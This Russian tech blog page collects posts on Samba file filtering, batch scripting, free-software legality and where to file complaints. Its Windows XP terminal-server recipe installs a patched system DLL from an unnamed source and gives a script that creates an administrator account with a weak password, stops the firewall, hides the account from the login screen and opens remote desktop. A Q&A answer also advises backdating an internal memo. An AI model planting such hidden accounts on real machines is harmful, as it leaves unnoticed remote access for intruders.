вторник, 31 января 2012 г.

Запрет записи файлов на samba сервер по расширению.



Есть желание избавится от всякой мути на файло обменщике под samba сервере. Сделаем запрет запись файлов по расширению. Реализовать это можно вот так:
[SOUND]
path = /mnt/sde/music
comment = звуковой-сервер
username = roma,vnelubin,gtcvet,eolax,mlapin,kkorob,ejnikov
only user = yes
public = yes
writable = yes
create mode = 0775
force create mode = 0775
directory mode = 0775
force directory mode = 0775
veto oplock files = /*.mp3/*.wav/
veto files = /*.a*/*.A*/*.b*/*.B*/*.c*/*.C*/*.D*/*.d*/*.E*/*.e*/*.F*/*.f*/*.G*/*.g*/*.H*/*.h*/*.I*/*.i*/*.J*/*.j*/*.K*/*.k*/*.L*/*.l*/*.N*/*.n*/*.O*/*.o*/*.P*/*.p*/*.Q*/*.q*/*.R*/*.r*/*.S*/*.s*/*.T*/*.t*/*.U*/*.u*/*.Y*/*.y*/*.V*/*.v*/*.X*/*.x*/*.Z*/*.z*/*.1*/*.2*/*.3*/*.4*/*.5*/*.6*/*.7*/*.8*/*.9*/*.0*/*.vob/*.VOB/*.iso/*.ISO/*.nrg/*.NRG/*.IFO/*.ifo/*.BUP/*.bup/*.zip/*.ZIP/*.rar/*.RAR/*.TXT/*.txt/*.TAR/*.tar/*.EXE/*.exe/*.DLL/*.dll/*.CFG/*.cfg/*.HT*/*.ht*/*.aa*/*.ab*/*.ac*/*.ad*/*.ae*/*.af*/*.ag*/*.ah*/*.ai*/*.aj*/*.ak*/*.al*/*.am*/*.an*/*.ao*/*.ap*/*.aq*/*.ar*/*.as*/*.at*/*.au*/*.ay*/*.ax*/*.az*/*.wb*/*.wc*/*.wd*/*.we*/*.wf*/*.wg*/*.wh*/*.wi*/*.wj*/*.wk*/*.wl*/*.wm*/*.wn*/*.wo*/*.wp*/*.wq*/*.wr*/*.ws*/*.wt*/*.wu*/*.wy*/*.wx*/*.wz*/*.wv*/
delete veto files = yes
Для самбы версии 3 и выше регистр значения не имеет.
Если у ого есть какие-нибудь еще предложения по оптимизации самбы пишите.
Буду рад если кому-то это поможет. :)
Источник: http://community.livejournal.com/ru_linux/1726897.html?style=mine
P.S.: в комментариях также подсказали опцию  delete veto files = hide (вместо yes). в этом случае файлы записываться будут, но будут скрыты от чтения.

Терминальный сервер на XP


Способ предложил  Misha V.


Процедура замены termsrv.dll стандартна:
переименовываем резервную копию файла termsrv.dll, находящуюся в папке %WinDir%\System32\DLLCache;
копируем туда наш файл termsrv.dll;
переименовываем рабочую копию файла termsrv.dll в папке %WinDir%\System32;
копируем на её место termsrv.dll файл;
отклоняем просьбу Windows File Protection предоставить доступ к дистрибутиву;
соглашаемся держать в системе постороннюю версию файла;
перезагружаемcя.

Скачать termsrv.dll

Далее создаем *.CMD файл

Пишем в нем:

chcp 1251
net user netuser hack /add
net localgroup "Пользователи удаленного рабочего стола" netuser /add
net localgroup "администраторы" netuser /add
net stop SharedAccess
REG ADD  "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v netuser /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

Где -
netuser  - пользователь
hack – пароль
так как при создании нового админа он будет виден в welcome screen’е, отключить его можно импортировав рег файл в реестр, следующего содержания –
REG ADD  "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v netuser /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

Написание bat файлов


В данной статейки мы рассмотрим такую полезную вещь как Батник. Давайте сначала дадим определение, что такое bat файл. Пакетные или batch файлы это простые текстовые файлы, содержащие наборы команд  (инструкцию) интерпретатора и имеющие расширение bat или cmd (cmd работают только в ОС семейства NT). Создавать и редактировать такие файлы можно при помощи обычного блокнота или любого другого текстового редактора.

Теперь вы спросите, зачем нужно уметь писать такие бат файлы? И зачем они нужны? Попытаюсь объяснить. Во-первых,  они используются для облегчения работы т.е. например вам нужно постоянно выполнять какую-нибудь операцию каждый день (например, создавать архив тех или иных документов) с помощью батника это можно автоматизировать, и вы в этом уже не будите принимать участия. Во-вторых, эти пакетные файлы очень мощные (если конечно уметь их писать) т.е. вы можете даже написать неплохую программу (я имею ввиду по функционалу). Лично мне они очень помогают в работе, и о некоторых вещах  я уже просто забыл, когда это делал я в ручную.
Теперь перейдем непосредственно к основам этих батников. Как же они создаются, вам нужно просто создать простой текстовый документ открыть его и сразу на вкладке «файл->сохранить как» вписать вместо расширения  «текстовый документ.txt» например «текстовый документ.bat» и сохранить, вот и получится у нас батник с расширением .bat но он пока ничего не делает.
Для начала я приведу пример батника который я использую у себя на работе для архивации документов.


"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc
"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls
"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.txt

Теперь немного расскажу, что делает этот батник. Запускается WinRar, потом идут команды винрара (a это добавить в архив), потом ключи винрара (-r обрабатывать вложенные папки, -dh  открывать совместно используемые файлы, -ed не добавлять пустые папки, далее идет добавление к имени архива текущею дату, YYYY-mm-dd формат даты), потом показан путь где будет лежать конечный архив, ну а потом путь и маска файлов какие нужно заархивировать, мы архивируем все документы word, Excel и текстовые файлы, остальные мы считаем незачем архивировать. У нас архивация идет на другой диск и мы еще копируем полученный архив на другой комп, для того чтобы архивы хранились и в другом кабинете. Копирование идет по сети соответственно комп на который копируется архив должен быть включен. Для этого можно использовать такую команду:
copy E:\arhaccounts\*.rar \\namecomp\arhiv\
Теперь рассмотрим основные команды, которые вы можете использовать.
Если вам нужно удалить файл пропишите следующие:

Del d:\file\test.doc

Для того чтобы удалить весь каталог пропишите:

rd d:\file\

Вдруг вам нужно удалять каждый раз все из какого-нибудь каталога то используйте вот что:

echo Y| del d:\file\

где  del d:\file\ это как раз и есть удаление всех файлов, а команда echo Y| подтверждает удаление т.к. если не прописать эту команду, то вы увидите сообщение о подтверждение удаления – Продолжить [Y(да)/N(нет)] и вам придется выбирать удалять или нет.
Сейчас давайте рассмотрим пример по сложней, в котором уже выполняется условие:

@echo off
"C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\test.rar d:\test
IF not EXIST d:\test\123.rar GOTO 1
IF EXIST d:\test\123.rar GOTO 2
:2
"C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK  d:\test\123.rar c:\
del d:\test\123.rar
:1  
del d:\test\test.rar
end

Теперь объясняю, допустим, вам нужно разархивировать архив test.rar в котором будет много файлов, но если там окажется файл 123.rar его нужно будет разархивировать в корень диска C а остальные файлы чтобы остались в том же каталоге не тронутыми.
По порядку команда  @echo off  нужна для того чтобы на экране у нас ничего не отражалось (в принципе если не нужно можете не писать эту строку). Далее у нас запускается винрар и распаковывает архив test.rar в  папку test, потом идет условие, если в папке test (после распаковки test.rar) у нас не окажется файла 123.rar то у нас просто выполнение батника переходит к строке :1   и потом просто удаляется файл test.rar за не надобностью т.к. все что нам нужно мы уже распаковали. Но если там оказывается файл 123.rar то выполнение батника переходит к строке :2 после которой уже идет распаковка файла 123.rar в корень диска C. Другими словами у нас выполняется условие, если есть файл то делать это, если нет файла делать вот это. Допустим если не прописать условие в данном примере, то у нас батник выдаст ошибку, тогда когда у нас не окажется файла 123.rar в данной папке.  
А сейчас рассмотрим такой пример, допустим вам нужно каждый раз перемещать из каталога расположенного на диске D  файлы на флешку, вы каждый раз должны будите заходить мой компьютер диск D выбирать нужную папку выделять все файлы из нее и вырезать, а потом только заходить на флешку и вставлять, но с помощью батника это делается в один клик (с одним условием что флешка каждый раз будет, например диском G или тем какой у вас). Вот пример такого батника:

move "D:\catalog\*.doc" G:\catalognaflehe\

И все файлы с расширением doc которые находятся в каталоге D:\catalog будут перемещаться на флешку. Теперь хочу сказать что в батниках можно использовать сценарии (скрипты) при помощи Windows Scripting Host и если нужно например чтобы выводилось сообщение после того как файлы скопированы (предыдущий пример) вставьте вот это:
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Файлы Скопированы"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js

На самом деле про написание батников можно разговаривать много и в одну статью это, конечно же не уместить, здесь я показал всего лишь принципы которые используются при написание bat файлов так сказать основу. Если вы хотите узнать больше команд для написания батников вы можете легко посмотреть их в ведя в командной строке (Пуск - Выполнить – cmd) команду help, но там, конечно же не все команды, что можно использовать в батниках. Удачи в написание BAT файлов (батников). Сообщество программистов
-
Источник 

Некоторые заданные вопросы



Вопрос
Есть производственное предприятие, на котором используется ОС CentOS. Дистрибутив скачан из Интернет - никаких бумаг, подтверждающих приобретение ОС, нет. Какие действия необходимо предпринять с целью подтверждения легальности использования указанного программного обеспечения на производственном предприятии?
Ответ
Дистрибутив, видимо, не скачался сам по себе, да и установился тоже не сам. Вот все действия надо задокументировать самым банальным образом. 
Например, так. Специалист пишет докладную директору о необходимости установки CentOS, описывая дистрибутив (это именно дистрибутив, а не ОС), обязательно ссылаясь на GPL, можно приложить и её текст. Директор издаёт приказ -- скачать, записать на носители, установить и т.п. В приказе обязательно -- бухгалтерии принять нематериальный актив на баланс. Что бухгалтерия и делает. По нулевой стоимости или (что изящнее) по цене носителей и иных расходов (скажем, трафик, зарплата и т.п.).
Вопрос
А при установке на баланс с нулевой стоимостью не будет ли претензий налоговой на предмет уклонения от уплаты налогов?
Ответ
Всё, полученное коммерческой организацией безвозмездно, рассматривается как доход, и должно быть обложено налогом, исходя из цены актива. В нашем случае цена настолько ничтожна, что, казалось бы, и говорить о ней не стоит, в суде такие дела выигрываются на раз. Но мы же с Вами не хотим тратить время и нервы на суды? Поэтому формируем затратную часть, по которой бухгалтерия и примет актив на баланс. Самое простое -- заплатить работнику по гражданско-правовому договору за скачивание, запись на носители и установку. И приплюсовать стоимость расходных материалов. Это и будет цена, по которой продукт попал в организацию. Это один из вариантов. Ещё мне известно, что некоторые бухгалтеры относят такие активы на забалансовые счета, у толковых бухгалтеров есть и иные варианты.
Вопрос
Можно ли использовать слово "Linux" в названии коммерческой организации свободно, или есть какие-то ограничения/особые правила?
Ответ
Чтобы не заниматься юридическим крючкотворством, отвечу кратко (но точно). Использовать наименование Линукс в названиях можно ровно в тех пределах, что и названия. например, Рено или Коньяк:
"Автомобили Рено -- продажа и предпродажная подготовка", Винный бутик "Коньяк и французские вина".
Вопрос
Уже много лет использую на работе сервера под Linux, но не дистрибутивы, а всю систему собираю сам с нуля, потом ей поддерживаю, обслуживаю, обновляю... Естественно всё ПО собрано с программами под разные лицензии - все открытые (есть BSD, Apache, GPL v2, GPL v3, LGPL и т.п.) проприетарные не используются. На бух учёте стоит только железо (типа сервер, роутер и т.п). Всё собрано из сорцов скаченных из интернета. Что можете посоветовать в этой ситуации. И как можно защитится?
Ответ
В описанной ситуации ("уже много лет использую..." надо поступить по одному из двух вариантов: 
1. Пишите задним числом докладную, в которой описываете то, что намерены сделать (фактически сделанное), обязательно указываете, что скачаете пакеты под открытыми лицензиями, а потом их самостоятельно соберёте. На докладной руководитель ставит визу типа "исполнить", "согласен" и т.п.
2. Настоящим числом руководитель издаёт приказ об аудите ПО. После чего следует заключение комиссии о существующих обстоятельствах. В итоге желателен приказ о принятии ПО на учёт по нулевой стоимости.

Свободное программное обеспечение с точки зрения российского права


© Владимир Житомирский, 2010
© Правовое бизнес-бюро «Граф Маевский», 2010
© Портал Linux Exp Group


В последние несколько лет вопрос о юридической стороне использования свободного ПО в России стал весьма актуальным.
Пару лет назад в журнале «ЛинуксФормат» была опубликована моя статья «OSS в России: взгляд правоведа». Напоминаю, что это было время, когда резко активизировалась деятельность государственных органов, направленная на борьбу с нарушениями в сфере интеллектуальной собственности. Например, по информации начальника 1-го отдела ОРЧ № 8 УБЭП ГУВД Санкт-Петербурга и Ленинградской области, в 2007 году на обслуживаемой территории возбуждено по ст. 146 УК 199 дел, в суд передано 117 дел. Наиболее суровое наказание получил руководитель торговой сети «505», который до суда провёл время в тюрьме. Суд приговорил его к трём годам лишения свободы условно. И статья писалась в целях оказания помощи пользователям СПО в той ситуации.
Сейчас положение заметно изменилось к лучшему. Я имею в виду не то, что снизился накал преследования нарушителей, он как раз нарастал и нарастает, а то, что органы МВД, прокуратура и суды знают, что такое СПО и знакомы с правилами его использования.
Я постараюсь избежать обильных ссылок на законы, и буду давать их только тогда, когда отсылка к ним может сыграть роль в сложной ситуации. Также примем за аксиому, что любые правовые конструкции работают при соблюдении определённых, а в нашем случае — очень простых, условий.
Начнём с того, что закон (здесь и далее — российский, если не оговорено другое) устанавливает, что исключительное право на результат интеллектуальной деятельности, в том числе и при создании программ для ЭВМ, принадлежит изначально автору; автор программы в основном приравнен в правах к автору любого произведения. Гражданство правообладателя значения не имеет. И автор, как правообладатель, может по своему усмотрению разрешать или запрещать другим лицам использование результата интеллектуальной деятельности, в том числе и путём предоставления другому лицу права использования соответствующих результатов интеллектуальной деятельности в установленных договором пределах (лицензионный договор).
Встаёт закономерный вопрос — а где же сам договор? И это предусмотрено законом. Вот выдержка из статьи 1286 части четвёртой Гражданского кодекса: «Заключение лицензионных договоров о предоставлении права использования программы для ЭВМ ... допускается путём заключения каждым пользователем с соответствующим правообладателем договора присоединения, условия которого изложены на приобретаемом экземпляре ... программы ... либо на упаковке этого экземпляра. Начало использования ... программы ... пользователем, как оно определяется этими условиями, означает его согласие на заключение договора». Поскольку правообладатель не лишает себя права выдачи лицензий другим лицам, это будет простая (неисключительная) лицензия. Надо ли напоминать пользователям, что в составе практически любого свободного продукта есть текст лицензии (то есть договора присоединения) или, по крайней мере, ссылка на лицензию GNU GPL или иную из того же ряда? А уж коробочные версии без той или иной лицензии, причём отсылающей к GNU GPL, мне вообще не встречались.
Следует подчеркнуть, что для удостоверения правомочности обладания программой закон не требует никаких наклеек, голограмм и прочего.
Несколько слов о лицензии GNU GPL. До сих не стихают схоластические споры о её соответствии российскому законодательству. Если её прочитать (чего не делает, на мой взгляд, большинство спорящих), то мы убедимся, что установленные ею правила (любая версия) распоряжения правами отвечают отечественным требованиям. Можно сказать, что сам тем или иным образом связанный с программой текст лицензии GNU (или, на худой конец, хотя бы ссылка на него) делает продукт легитимным. А назовите мне хоть один свободный продукт, не содержащий в себе хотя бы ссылки на GNU GPL.
Как-то в одной дискуссии я услышал такой аргумент: продукты Windows в России зарегистрированы, а свободные программы нет. Ответ простой: закон даёт правообладателю право (простите за невольную тавтологию) по собственному желанию зарегистрировать программу для ЭВМ (ст. 1262 ГК). Такая регистрация, кстати, осложняет переход всяких прав, их в этом случае также нужно регистрировать. Так что не думаю, что Microsoft регистрирует свои продукты.
Итак, вывод (любая версия) лицензия GNU GPL российским законам не противоречит и, следовательно, её действие в России законно.
Любой документ в любой стране признаётся , если он надлежащим образом оформлен и предъявлен. В России официальным языком общения является русский, и понятно, что все пускаемые в оборот документы должны быть на русском языке. И где здесь проблема? Любой юридически значимый документ переводится у нотариуса переводчиком, чьи знания проверил этот нотариус, после чего он, нотариус, ставит на перевод свою красивую печать. И всё. Важно отметить, что эта квази-проблема вообще не стоит, если вы приобретаете дистрибутив на диске: следите только, чтобы при наличии в дистрибутиве проприетарных программ об этом было сказано внятно, т.е. были приведены условия использования. И, конечно, соблюдайте эти условия.
Естественно, ситуации возникают самые разные: вы скачали продукт для себя либо для продажи без переработки или с переработкой; вы купили продукт с одной из этих целей; вы, наконец, создаёте сборный продукт из разным образом полученных компонентов ... И ко всем этим случаям применимо сказанное выше. Для наглядности приведу примеры.
1. Организация приобретает через Интернет проприетарный продукт, скажем, почтовый клиент всех времён и народов The Bat! (прекрасно работает в Wine, хотя, на мой взгляд, Claws Mail — вполне достойная замена). Покупатель скачивает программу, оценивает её и оплачивает продукт. И получает электронное письмо с кодом, который и регистрирует в соответствующем окне программы. Организация в итоге имеет: счёт, платёжное поручение с отметкой банка, бухгалтерские проводки, электронное письмо с кодом и, кроме того, если открыть диалог «О программе», в нем будет указано, что владелец экземпляра — именно эта организация.
2. Организация покупает скомпонованный, например, неким ООО диск с набором свободных программ. Возможны три варианта приобретения: через интернет-магазин, у поставщика напрямую и за наличный расчёт в розничной сети. Во всех случаях покупатель имеет фирменную упаковку продукта, лицензию продавца со ссылкой на лицензию GNU GPL, бухгалтерские проводки и оригинальный носитель. В первом и втором вариантах он имеет ещё счёт, платёжное поручение с отметкой банка и накладную или иной документ о доставке. В третьем случае он имеет скреплённый с кассовым чеком товарный чек; это неплохо подкрепить приказом о покупке продукта и актом приёма-передачи от приобретшего продукт работника.
3. Организация приняла решение скачать продукт из сети. Тут придётся немного «помарать бумагу». Первый документ — докладная руководителю о потребности в продукте, с указанием, что он находится в свободном доступе и выпущен под соответствующей лицензией. Уже на этой стадии к докладной можно приложить нотариально удостоверенную копию лицензии (в дальнейшем можно просто ссылаться на нее: «... по той же лицензии, что установленная ранее программа ...»). Второй документ — подробный приказ уполномоченному лицу скачать и установить продукт. Затем последует акт о введении программы в эксплуатацию с указанием, на каком носителе и у кого будет храниться резервная копия. И последнее — продукт должен быть учтён в бухгалтерии. Ко всему этому прибавим содержание окна «О программе» и, скорее всего, наличие текста свободной лицензии в документации.
Заверяю, что с такими наборами организации ничего не грозит.
А теперь поговорим о самой неприятной ситуации: у вас проверка (ОБЭП, отдел «К» и т.д.). Сразу отмечу, что уже полтора года произвол в этих случаях значительно ограничен.
В первую очередь проверяющих интересуют Microsoft, «1С», «Гарант», «Кодекс», то есть те компании, которые активно сотрудничают с милицией, даже берут на себя обязательства не заключать с нарушителями соглашений и доводить дело до суда.
Сотрудничая с правообладателями, проверяющие знают, во-первых, какие именно продукты они ищут, а во-вторых, признаки, отличающие данный легальный продукт от пиратского — пресловутые голограммы, наклейки, оформление коробок и так далее. То есть, наличие или отсутствие такой, например, наклейки явится определяющим признаком только для того продукта, который защищается от нелегального использования с помощью наклейки, и ни для какого иного. Если проще, то на вопрос, а почему у вас нет наклейки Windows, следует ответ: «У меня нет и Windows.»
Ниже я предлагаю примерный алгоритм поведения при проверке. Прошу, однако, помнить, что это именно алгоритм, а не панацея от всего на свете.
Итак, проверка пришла. Сохраняя хладнокровие, организация знакомится с постановлением, в нём, помимо прочего, перечислены персонально проверяющие. У всех пришедших следует истребовать документы. Если у кого-то документов нет, а про него говорят, что это, мол, специалист по программам, следует это занести в протокол. Понятых следует представить из персонала организации, и не двух, а в количестве, достаточном, чтобы никто из проверяющих не оставался без контроля. К протоколу не надо относиться формально, он должен отражать все действия. Если, например, майор Икс смотрел что-то в комнате А в присутствии понятого Иванова, а капитан Игрек – в комнате Б в присутствии понятого Петрова, это должно быть отражено в протоколе. Ход проверки можно фиксировать на магнитофон или видеозаписью, но делать это открыто, что тоже должно быть занесено в протокол. В протокол должны быть занесены все вопросы, замечания и объяснения. При желании проверяющих изъять компьютер, в протоколе должно быть указано, что организация уверена в отсутствии контрафактных программ, что, по её мнению, специалист способен разобраться в этом на месте, и, наконец, организация оставляет за собой право взыскать с органа внутренних дел убытки. На практике был случай, когда в аналогичной ситуации в ответ на твёрдую позицию работники ОБЭП привели какого-то специалиста, он задал два-три вопроса, глянул на компьютер и заявил, что всё в порядке.
В заключение хочется подчеркнуть, что всё, о чем мы говорим — это бизнес-ситуации, а не юридические, экономические и прочие. И оценивать их, планировать и принимать решения по ним должен человек, обладающий предпринимательским мышлением, имеющий опыт «распутывания» именно бизнес-ситуаций. Это не значит, что не надо прибегать к услугам специалистов, надо просто ставить перед ними вопросы и задачи в пределах их компетенции.

Куда и в каких случаях нужно жаловаться?





Каждый день кто-то нарушает наши права, обманывает нас или дурит. Надо жаловаться, но неизвестно куда. Данная статья расскажет вам на кого в какие инстанции нужно жаловаться и как добиться справедливости.

Во всем мире сложилась практика – если вас кто-то обманул или плохо обслужил, нужно обязательно пожаловаться в вышестоящие инстанции. Именно поэтому в западных странах практически нет такого беспредела в магазинах, на дорогах, нет алчных полицейских и т.п. Любая обслуживающая организация или чиновник знает, что в случае чего, на него непременно пожалуются куда нужно и всевозможные проверки обеспечены.

У нас в России тоже любят жаловаться. Но только не по делу и куда нужно, а друг другу в беседах, поливая грязью нерадивого чиновника из пожарного надзора или продавца в магазине, подсунувшего испорченный йогурт. А обидчик тем временем продолжает дальше дурить и обманывать граждан, ведь он практически уверен, что никто «из-за ста рублей жаловаться не будет». А надо бы. Один пожалуется, другой, третий и надзорные органы примут меры.

Всевозможные проверяющие и надзорные органы рады принимать меры и наказывать нарушителей, но вот проблема – граждане не жалуются! А без сигналов от обиженных они могут и не догадываться, что в магазине у вашего дома торгуют просроченными продуктами, или чиновник в администрации требует взятку.

Куда жаловаться…

… на просроченные продукты, обман в магазине, некачественные услуги

Всё, что касается работы всевозможным магазинов будет интересно Роспотребнадзору, приемные которого есть в каждом городе (обычно при Администрации населенного пункта). Можно придти лично и написать заявление (обязательно в двух экземплярах, на одном из которых поставить штамп о приеме), можно отправить почтой, а можно и позвонить по телефону. Но все же заявление, написанное вами, будет иметь больший эффект.

На Роспотребнадзор возлагаются функции по защите ваших прав как потребителя, поэтому в него следует сообщать обо всех случаях, связанных с нарушением соответствующего закона. Будь то продажа некачественного товара в магазине или же оказание некачественной услуги вашей любимой турфирмой.

Так же в Роспотребнадзор нужно сообщать о случаях, связанных с санитарными нормами и чистотой в магазинах, ресторанах, точках быстрого питания. Если вы увидели в магазине продавца в грязной одежде, или в супе, который вам принесли к обеду в ресторане, обнаружилась муха – вам здесь будут только рады.

Можно обратится во всевозможные Общества по защите прав потребителей, куда входят опытные юристы, которые помогут вам правильно составить жалобу, а в случае чего и иск в суд.

Если же в Роспотребнадзоре отказываются принять заявление, или же не предпринимают никаких мер (может и коррупция, т.е. попросту дали взятку инспектору при проверке), то вы можете пожаловаться уже на ваше отделение Роспотребнадзора в прокуратуру (читайте ниже как) или же в «головной офис» Федеральной службы по надзору в сфере защиты прав человека на сайте http://www.rospotrebnadzor.ru

… если обсчитали, обвесили, обманули

Нередки ситуации, когда в магазине вас пытаются обмануть, пробивая на кассе стоимость товара выше, чем указана на ценнике. Или же попросту обманывают, продавая 1 кг мяса, вес которого на самом деле 800 грамм.

В этом случае вам на помощь придет УБЭП (Управление по борьбе с экономическими преступлениями). Искать его нужно в вашем ОВД. Тут вас с удовольствием выслушают, примут заявление и разберутся во всем.

Следуют знать, что при подаче заявления в УБЭП необходимо указать реквизиты нерадивого продавца. Поэтому заранее поинтересуйтесь в магазине такой информацией. Обычно все реквизиты (например, юридический адрес) располагаются на информационном стенде.

… на милицию

В случае если у вас отказываются принимать заявление в милиции, или же страж закона сам нарушает закон, то непременно нужно жаловаться. Упоминание о том, что вы будете жаловаться в «соответствующие инстанции» обычно делает милиционера дружелюбным и покорным. В какие же инстанции нужно жаловаться?

На участкового - заместителю начальника Отдела внутренних дел по МОБ или начальнику Управления внутренних дел (УВД), которому подчиняется ОВД;

На сотрудников дежурных частей милиции (когда они отказываются принимать у вас заявление) – начальнику штаба ОВД на территории которого находится дежурная часть.

На паспортный стол – начальнику ОВД, к которому относится паспортный стол.

На сотрудников ГИБДД - в Управление Госавтоинспекции или в Управление собственной безопасности Госавтоинспекции.

На сотрудников патрульно-постовой службы – начальнику ОВД, на территории которого находится патрульно-постовая служба.

На решения дознавателей и следователей (отказ в возбуждении уголовного дела, прекращение уголовного дела, арест и привлечение в качестве обвиняемого) жалоба в виде заявления пишется в прокуратуру, на территории которой работает дознаватель или следователь.

Но кроме вышеперечисленного, вы можете пожаловаться и в «Самые главные органы:
- Управление собственной безопасности ГУВД города;
- Управление собственной безопасности МВД РФ (если не помогли в УСБ ГУВД вашего города);
- Федеральная Служба Безопасности (если не помогли УСБ ГУВД и МВД)

Сначала необходимо попытаться решить вопрос на низшем уровне (через начальников ОВД) и если это не поможет, то только после этого жаловаться в Управление Собственной Безопасности.

Оформить жалобу в УСБ вы можете как у себя в городе (если у Вас есть УСБ), так и на специальном «Правоохранительном портале Российской Федерации» -  http://www.112.ru

Там Вы можете оформить свое обращение не только в УСБ, но и в Генеральную прокуратуру, ФСБ,  Министерство юстиции и Федеральную налоговую службу.

Все обращения рассматриваются и по ним принимаются меры в случае подтверждения нарушений со стороны сотрудников МВД.

… на врачей, поликлиники, больницы

На медицинское обслуживание жаловаться практически бессмысленно, добиться чего-то не реально. Но подпортить нервы нерадивым врачам можно. Начинать нужно с главврача – именно ему нужно пожаловаться на конкретного врача или медсестру. Если не поможет, то необходимо написать заявление в Департамент здравоохранения  города (или района), где находится поликлиника. 

Если же и в этом случае реакции не последовало (а так оно и будет на самом деле), нужно отправить свою жалобу в Фонд Обязательного Медицинского Страхования (ФОМС). Ведь именно они финансируют нашу медицину, и их врачи слушают внимательно, т.к. «кто платит деньги, тот и заказывает музыку». 

Ну и на крайний случай, последняя инстанция - Федеральная служба по надзору в сфере здравоохранения и социального развития. Их боятся все. Одно упоминание этого «заведения» по имени Росздравнадзор может решить многое. Оформить жалобу можно на официальном сайте -http://www.roszdravnadzor.ru или в региональных управлениях Федеральной Службы.

… на страховую компанию

Жаловаться на страховые компании можно и нужно в Федеральную службу страхового надзора. Их сайт -http://www.fssn.ru – здесь вы можете найти адрес для отправки своей жалобы, а так же адреса региональных отделений, куда вы можете принести жалобу лично.

… на школы, детские сады

Если вашему ребенку постоянно ставят двойки и учитель придирается к вашему чаду без причин, вы можете пожаловаться директору школы. Обычно директора стараются потушить конфликт и не дать ему выйти за пределы школы. Но если вдруг директор встал на сторону учителя, вы можете пожаловаться в Департамент образования (их еще называют РОНО, ГОРОНО и т.п.). Сотрудники этого Департамента ставят во главу угла интересы ребенка. Каждый директор школы боится проверки из этого Департамента и сделает всё, чтобы ваша жалобы не ушла в него. Поэтому, жалуйтесь, не стесняйтесь.

Если же Департамент образования вашего города не предпринимает никаких мер, жалуйтесь в Министерство образования и науки РФ на школу и на сам Департамент. Адрес сайта - http://mon.gov.ru

… на банк, обменный пункт

Жаловаться на банки и обменные пункты (которые обычно принадлежат конкретным банкам) следует непосредственно в Центральный Банк Российской Федерации, который и выдает лицензии банкам.  В последнее время, когда ЦБ РФ отзывает лицензии у коммерческих банков, любой банк боится жалоб на себя, особенно если по делу.  Телефон Московского главного территориального управления Банка России -  (495) 950–21–90

… на коммунальные услуги

На грязный подъезд, разбитые лампочки и неработающий домофон нужно жаловаться в организацию, которая обслуживает ваш дом, т.е. в ДЕЗ или Управляющую компанию, которой вы доверили управление всем домовым хозяйством. Если же ваш дом принадлежит частному лицу, то жаловаться нужно именно ему.

В случае если никакой реакции не последовало, жалуйтесь в Администрацию района (или города) на свою обслуживающую организацию.

… на взятки в вузах, школах

На преподавателей и учителей, требующих с вас взятку нужно жаловаться. Вас с удовольствием выслушают и примут жалобу по телефону доверия Министерства образования и науки.

Телефон доверия Министерства образования и науки России по вопросам противодействия коррупции в сфере деятельности Министерства - (495) 629–52–44

… на коррупцию чиновников и проверяющих органов

Допустим, вы пожаловались на плохое обслуживание или просроченные продукты в Роспотребнадзор. Инспекторы пришли с проверкой в магазин и «в подсобке урегулировали вопрос» с хозяином торговой точки. Попросту получили взятку. Естественно по вашей жалобе в таком случае никто не примет никаких мер.

Другой случай – вы предприниматель. Вам нужно получить разрешение на эксплуатацию здания от пожарного надзора. Но за получение такого разрешения с вас требуют дать взятку.

Что делать в этих случаях?

Недавно премьер-министр России Владимир Путин выступая на Форуме малого бизнеса, дал поручение прокуратуре осуществить проверку всех контролирующих и проверяющих органов на коррупцию.  И сотрудники прокуратуры как ищейки начали искать случаи коррупции. Поэтому, если вы придете в прокуратуру с просьбой проверить на коррупцию местное отделение Роспотребнадзора или Пожарный надзор, вас примут как родного. По вашей жалобе мгновенно начнут работать.

Оформить просьбу можно так же на специальном «Правоохранительном портале Российской Федерации» -  http://www.112.ru - тут у вас примут жалобу сотрудники Генеральной Прокуратуры РФ.


Уважаемые читатели, на кого еще у вас возникает необходимость жаловаться? Пишите в комментариях свои предложения, а мы будем дополнять статью нужными вам рекомендациями.

В век Интернета необязательно даже вставать с кресла, чтобы пожаловаться на ту или иную организацию – практически у всех центральных проверяющих органов налажен прием жалоб через интернет. Каждая жалоба регистрируется, по ней производится проверка и, если нарушение подтверждается, принимаются меры. Так что извольте жаловаться!

Ссылки по теме

«Правоохранительный портал Российской Федерации» -  http://www.112.ru принимает жалобы на 
- МВД РФ
- ГИБДД РФ
- Налоговую службу
- Таможню 

Так же там вы можете оставить обращение в 
- Министерство обороны
- Федеральную Службу Безопасности
- Генеральную прокуратуру РФ
- Министерство юстиции

Федеральная служба по надзору в сфере защиты прав человека - http://www.rospotrebnadzor.ru

Федеральная служба страхового надзора - http://www.fssn.ru

Федеральная служба по надзору в сфере здравоохранения и социального развития -http://www.roszdravnadzor.ru

Министерство образования и науки РФ - http://mon.gov.ru